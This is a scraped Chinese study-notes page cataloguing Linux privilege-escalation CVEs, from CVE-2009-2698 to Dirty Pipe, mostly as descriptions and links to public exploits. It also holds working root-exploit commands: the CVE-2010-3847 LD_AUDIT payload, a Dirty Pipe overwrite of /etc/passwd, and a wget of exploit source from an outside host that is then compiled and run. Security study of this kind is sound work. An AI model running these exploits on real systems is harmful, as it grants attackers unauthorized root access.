学习笔记-OS - Exploits
OS - Exploits
免责声明
本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.
大纲
Linux
- 系统漏洞提权
- 原生软件提权
- 系统配置提权
- sudo
- suid
- 远程漏洞
Windows
- 系统漏洞提权
- 远程漏洞
- 域
- 其他
FreeBSD
OpenBSD
Solaris
Linux
相关资源
- carlospolop/PEASS-ng - 非常好用,可以直接下载 linpeas.sh 运行
- xairy/linux-kernel-exploitation
- xairy/kernel-exploits
- SecWiki/linux-kernel-exploits
- Al1ex/LinuxEelvation
- bsauce/kernel-exploit-factory
相关文章
- 年报解读|年度高可利用漏洞——Linux提权漏洞
内核漏洞提权
文章教程
- Basic Linux Privilege Escalation
- Local Linux Enumeration & Privilege Escalation Cheatsheet
提权辅助工具
- mzet-/linux-exploit-suggester
- jondonas/linux-exploit-suggester-2
- rebootuser/LinEnum - 辅助信息收集脚本
- DominicBreuker/pspy - 在没有 root 权限的情况下监视 linux 进程
- TH3xACE/SUDO_KILLER - 一个用来识别和利用 sudo 规则的错误配置和漏洞的工具
- liamg/traitor - Automatic Linux privesc via exploitation of low-hanging fruit e.g. gtfobins, pwnkit, dirty pipe, +w docker.sock
以下工具长期未更新,不推荐
- sleventyeleven/linuxprivchecker - 长期未更新,不推荐
- lucyoa/kernel-exploits - 长期未更新,不推荐
- Kabot/Unix-Privilege-Escalation-Exploits-Pack - 长期未更新,不推荐
- InteliSecureLabs/Linux_Exploit_Suggester - 长期未更新,不推荐
CVE-2009-2698
简介
在 2.6.19 之前 Linux 内核中的(1) net/ipv4/udp.c 和(2) net/ipv6/udp.c 中的 udp 实现中的 udp_sendmsg 函数允许本地用户通过涉及 MSG_MORE 标志和 UDP 套接字的向量获得特权或导致拒绝服务(空指针取消引用和系统崩溃)。
影响范围
- Linux kernel < 2.6.19
- CentOS 4.4/4.5
- Fedora Core 4/5/6 x86
POC | Payload | exp
- Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege Escalation (1) - Linux_x86 local Exploit
CVE-2010-3847
- POC | Payload | exp
# 在/tmp下创建可控制的目录 $ mkdir /tmp/exploit # 链接到suid二进制程序以更改$ORIGIN的定义$ ln /bin/ping /tmp/exploit/target # 打开到目标二进制程序的文件描述符$ exec 3< /tmp/exploit/target # 现在可通过/proc访问描述符$ ls -l /proc/$$/fd/3 lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target* # 删除之前所创建的目录$ rm -rf /tmp/exploit/ # /proc链接仍存在,但已标记为已被删除$ ls -l /proc/$$/fd/3 lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted) # 使用负载DSO替换目录,使$ORIGIN成为到dlopen()的有效目标$ cat > payload.c void __attribute__((constructor)) init() { setuid(0); system("/bin/bash"); } ^D $ gcc -w -fPIC -shared -o /tmp/exploit payload.c $ ls -l /tmp/exploit -rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit* # 通过LD_AUDIT强制/proc中的链接加载$ORIGIN$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3 sh-4.1# whoami root sh-4.1# id uid=0(root) gid=500(taviso)
CVE-2016-4557
简介
Linuxkernel 是美国 Linux 基金会发布的开源操作系统 Linux 所使用的内核。NFSv4implementation 是其中的一个分布式文件系统协议。Linuxkernel4.5.5 之前版本的 kernel/bpf/verifier.c 文件中的‘replace_map_fd_with_map_ptr’函数存在安全漏洞,该漏洞源于程序没有正确维持 fd 数据结构体。本地攻击者可借助引用不正确文件描述符的 BPF 指令利用该漏洞获取权限或造成拒绝服务(释放后重用)。
影响范围
- Linux kernel <= 4.5.4
POC | Payload | exp
- https://www.exploit-db.com/exploits/39772
- https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
CVE-2016-5195 脏牛 Dirty COW
简介
2016年10月18日,Phil Oester 提交了隐藏长达9年之久的“脏牛漏洞(Dirty COW)”0day 漏洞,该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。黑客可以获取低权限的本地用户后,利用此漏洞获取其他只读内存映射的写权限,进一步获取 root 权限。
影响范围
- Linux kernel < 4.8.3
相关文章
- [翻译]从内核角度分析 Dirty Cow 原理
POC | Payload | exp
- scumjr/dirtycow-vdso
- dirtycow/dirtycow.github.io
- gbonacini/CVE-2016-5195
- https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh
- https://www.exploit-db.com/exploits/40616
- https://www.exploit-db.com/exploits/40847
- gebl/dirtycow-docker-vdso
CVE-2017-1000253
简介
在 Linux 环境下,如果应用程序编译时有 -pie 编译选项,则 load_elf_binary() 将会为其分配一段内存空间,但是 load_elf_ binary() 并不考虑为整个应用程序分配足够的空间,导致 PT_LOAD 段超过了 mm->mmap_base。在 x86_64 下,如果越界超过 128MB,则会覆盖到程序的栈,进而可能导致权限提升。
影响范围
- centos < 7.1708
- redhat < 7.4
POC | Payload | exp
- https://www.qualys.com/2017/09/26/linux-pie-cve-2017-1000253/cve-2017-1000253.c
CVE-20171000405 Huge Dirty COW
简介
安全团队 Bindecy 爆出名为大脏牛(HugeDirty Cow)的内核提权漏洞,编号为 CVE-20171000405。包含 linux 内核(2.6.38~4.14)的服务器,桌面,移动等众多设备将面临严重挑战,数以百万计的用户受到安全威胁。该漏洞是由于对之前的内核提权漏洞(cve-2016-5195)修补不完整引发
影响范围
- 2.6.38 <= Linux kernel <= 4.14
相关文章
- "Huge Dirty COW" (CVE-2017-1000405)
POC | Payload | exp
- bindecy/HugeDirtyCowPOC
CVE-2019-13272 Linux 4.10 < 5.1.17 PTRACE_TRACEME local root
简介
在 5.1.17 之前的 Linux 内核中,kernel/ptrace.c 中的 ptrace_link 在记录想要创建 ptrace 关系的进程的凭证时处理不当,这使得本地用户可以通过利用某些具有父子进程关系的场景获得 root 权限,其中父进程放弃权限并调用 execve(可能允许攻击者控制)。一个促成因素是对象寿命问题。另一个因素是不正确地将 ptrace 关系标记为特权,这可以通过(例如)PTRACE_TRACEME 的 Polkexec 帮助程序来利用。注意:在某些环境中,SELinux deny_ptrace 可能是一个可用的变通方法。
相关文章
- CVE-2019-13272:Linux本地内核提权漏洞复现
POC | Payload | exp
- jas502n/CVE-2019-13272
- https://github.com/firebroo/sec_tools/tree/master/linux-kernel-exploits/CVE-2019-13272
CVE-2020-8835 Linux Kernel 信息泄漏/权限提升
简介
漏洞是因为 bpf 验证程序没有正确计算一些特定操作的寄存器范围,导致寄存器边界计算不正确,进而引发越界读取和写入。该漏洞在 Linux Kernelcommit(581738a681b6) 中引入。
相关文章
- CVE-2020-8835 Linux Kernel 信息泄漏/权限提升漏洞分析
POC | Payload | exp
- Exploit CVE-2020-8835
CVE-2020-14386
相关文章
- CVE-2020-14386 POC复现
POC | Payload | exp
- cgwalters/cve-2020-14386
CVE-2021-3490
简介
该漏洞源于按位操作(AND,OR 和 XOR)的 eBPF ALU32 边界跟踪不会更新 32 位边界,攻击者可利用该漏洞触发越界读写,从而从普通权限提升到 root 权限。
POC | Payload | exp
- chompie1337/Linux_LPE_eBPF_CVE-2021-3490
CVE-2021-3493
相关文章
- Linux kernel特权提升漏洞(CVE-2021-3493)复现
POC | Payload | exp
- briskets/CVE-2021-3493
CVE-2021-22555
相关文章
- 隐藏十五年的漏洞:CVE-2021-22555 漏洞分析与复现
POC | Payload | exp
- veritas501/CVE-2021-22555-PipeVersion
CVE-2022-0185
相关文章
- LINUX内核漏洞——CVE-2022-0185分析与思考
POC | Payload | exp
- chenaotian/CVE-2022-0185
- veritas501/CVE-2022-0185-PipeVersion
CVE-2021-31440 Linux 内核eBPF提权漏洞
- 相关文章
- CVE-2021-31440:Linux 内核eBPF提权漏洞分析(Pwn2Own 2021)
CVE-2021-33909
- POC | Payload | exp
- Liang2580/CVE-2021-33909
CVE-2022-0847
影响范围
- 5.8 <= Linux 内核版本 < 5.16.11 / 5.15.25 / 5.10.102
相关文章
- The Dirty Pipe Vulnerability
gcc poc.c -o exp -std=c99cp /etc/passwd /tmp/passwd_bak new_passwd=$(cat /etc/passwd|head) ./exp /etc/passwd 1 "${new_passwd/root:x/oot:}"su root
- CVE-2022-0847_DirtyPipe Linux 内核提权漏洞分析及复现
- CVE-2022-0847 Linux内核漏洞简要分析
- CVE-2022-0847漏洞对容器环境影响的深度分析
- The Dirty Pipe Vulnerability
POC | Payload | exp
- Arinerron/CVE-2022-0847-DirtyPipe-Exploit
- https://haxx.in/files/dirtypipez.c
mkdir dirtypipez cd dirtypipez wget https://haxx.in/files/dirtypipez.c gcc dirtypipez.c -o dirtypipezfind / -perm -u=s -type f 2>/dev/null ./dirtypipez /bin/su
- polygraphene/DirtyPipe-Android - Dirty Pipe root exploit for Android (Pixel 6)
CVE-2022-2588
- POC | Payload | exp
- Markakd/CVE-2022-2588
CVE-2022-2639 Linux 内核 openvswitch 本地提权
- POC | Payload | exp
- veritas501/CVE-2022-2639-PipeVersion
CVE-2022-25636
相关文章
- CVE-2022-25636内核越界写入漏洞对容器的影响分析
POC | Payload | exp
- Bonfee/CVE-2022-25636
- veritas501/CVE-2022-25636-PipeVersion
CVE-2022-27666
描述
CVE-2022-27666 是 Linux esp6 加密模块中的一个漏洞。该漏洞成因是,esp6模块中用户消息的接收缓冲区是8页缓冲区,但发送者可以发送大于8页的消息,造成缓冲区溢出。
相关文章
- CVE-2022-27666: Exploit esp6 modules in Linux kernel
POC | Payload | exp
- plummm/CVE-2022-27666
CVE-2022-34918
- POC | Payload | exp
- randorisec/CVE-2022-34918-LPE-PoC
- veritas501/CVE-2022-34918
原生软件提权
CVE-2019-7304
- 相关文章
- Snapd Ubuntu 提权分析
CVE-2019-14287
简介
当 sudo 配置为允许用户以任意方式运行命令时用户通过 Runas 规范中的 ALL 关键字,可以通过指定用户 ID -1 或 4294967295 以 root 用户身份运行命令。
影响范围
- Sudo_project:Sudo:1.3.0::
学习笔记-OS - Exploits相关推荐
- python学习笔记 os.scandir遍历目录
python学习笔记 os.scandir遍历目录 之前尝试用os.walk进行遍历目录,前几天看有人说os.scandir比walk更高效,尝试了一下,写了两端代码,做了一个测试 第一段用walk也 ...
- Python学习笔记.OS学习笔记 OS操作系统(operating system)(二)程序和进程 输出进程号,工作目录最有用!
程序和进程: 运行一个程序的时候,操作系统会创建一个进程.他会使用系统资源和操作系统内核的数据结构! 进程间相互隔离,即一个进程无法访问其他进程内容,也无法操作其他进程! Mac上面可以使用活动监视器 ...
- Python学习笔记.OS学习笔记 OS操作系统(operating system)(一)
前言,日常操作.列出文件夹或者目录内容,创建和删除文件, 以及一些其他无聊的事都可以交给Python这个小玩意实现! 进入正题: 操作之前,都要引入一下,不引入无法使用! 好吧,不得不先说说第八章的知 ...
- 学习笔记——os模块常见列表
为什么需要引用os模块? 在用python处理数据的过程中,经常需要查找操作文件和路径,这就依赖于os模块. 函数 描述 os.name 显示当前使用的平台 os.getcwd() 显示当前pytho ...
- Python学习笔记——os模块【文件、目录方法】
例子 train_data_path = os.path.join(data_path, 'npy/') 解释:os.path.join(path,name) 连接目录和文件名或目录 ls = os ...
- python基本模块中的对象_Python 学习笔记 -- OS模块的常用对象方法
1 #这里列举在os模块中关于文件/目录常用的函数使用方法 2 3 #这里需要注意下,在使用这些方法前记得导入os模块 4 import os #导入os模块 5 """ ...
- Python学习笔记.OS学习笔记 OS操作系统(operating system)(三) 日期和时间
日期和时间: 好多库函数: datetime time calendar dateutil ...and so on 日期表示的二义性,很烦人! 1/6/2010 你不知道到底是2010年的1月6日, ...
- 【OS学习笔记】四十 保护模式十:中断和异常的处理与抢占式多任务对应的汇编代码----动态加载的用户程序/任务二代码
本文是以下几篇文章对应的微型动态加载的用户程序/任务二代码: [OS学习笔记]三十四 保护模式十:中断和异常区别 [OS学习笔记]三十五 保护模式十:中断描述符表.中断门和陷阱门 [OS学习笔记]三十 ...
- 【OS学习笔记】三十九 保护模式十:中断和异常的处理与抢占式多任务对应的汇编代码----动态加载的用户程序/任务一代码
本文是以下几篇文章对应的动态加载的用户程序/任务一代码: [OS学习笔记]三十四 保护模式十:中断和异常区别 [OS学习笔记]三十五 保护模式十:中断描述符表.中断门和陷阱门 [OS学习笔记]三十六 ...
- 【OS学习笔记】三十八 保护模式十:中断和异常的处理与抢占式多任务对应的汇编代码----微型内核汇代码
本文是以下几篇文章对应的微型内核代码汇编代码: [OS学习笔记]三十四 保护模式十:中断和异常区别 [OS学习笔记]三十五 保护模式十:中断描述符表.中断门和陷阱门 [OS学习笔记]三十六 保护模式十 ...
最新文章
- MATLAB【十四】————调用深度库生成exe,批量运行三层文件夹下图片,保存结果
- cv2.inrange()用法
- HDOJ 4704 Sum 规律 欧拉定理
- mysql blob hex_数据库的完整备份与恢复 quot;--hex-blobquot; - - ITeye博客
- 前端学习(1779):前端调试之cache原理和查看
- Selenium UI 举例 getCssValue
- nginx-zabbix监控脚本
- 谈谈linux内核原理,谈谈Linux内核驱动的coding style
- 凯恩帝数控系统面板介绍_KND凯恩帝数控系统说明书
- 英语常用单词分类---1
- 异步方法中取消异步操作
- 超详细总结:python的转义字符及用法
- 利用PHP HTML5 MySQL 将表单提交的数据写到数据库
- 怎么查验佳能EOS单反相机是否正品
- MySQL基础教程【1】数据库简介
- Quartus ROM,RAM计组实验
- 我的经历——致岁月摧残的编程人生
- 递归-力扣-526. 优美的排列
- Linux 进程管理工具:supervisor
- uTools的插件使用
热门文章
- wps2019政府专版 无广告
- 斯皮尔曼相关系数范围_斯皮尔曼相关系数
- 人工智能之神经网络基础入门(最通俗版)
- spssχ2检验_案例实践:SPSS分层卡方检验
- python导入鸢尾花数据集_python鸢尾花数据集的分类问题 -- 逻辑回归问题研究
- opencv python 人脸识别 相似度_如何使用OpenCV3直方图方法进行人脸相似度对比
- Excel如何快速根据身份证号码计算周岁?
- 机器人码垛手持式编程_码垛机器人编程软件图解教程
- ubuntu+火狐浏览器+印象笔记+剪藏+国内版配置
- 软件缺陷分析—软件测试之犯罪心理学
- python学习笔记 os.scandir遍历目录
- Sudo_project:Sudo:1.3.0::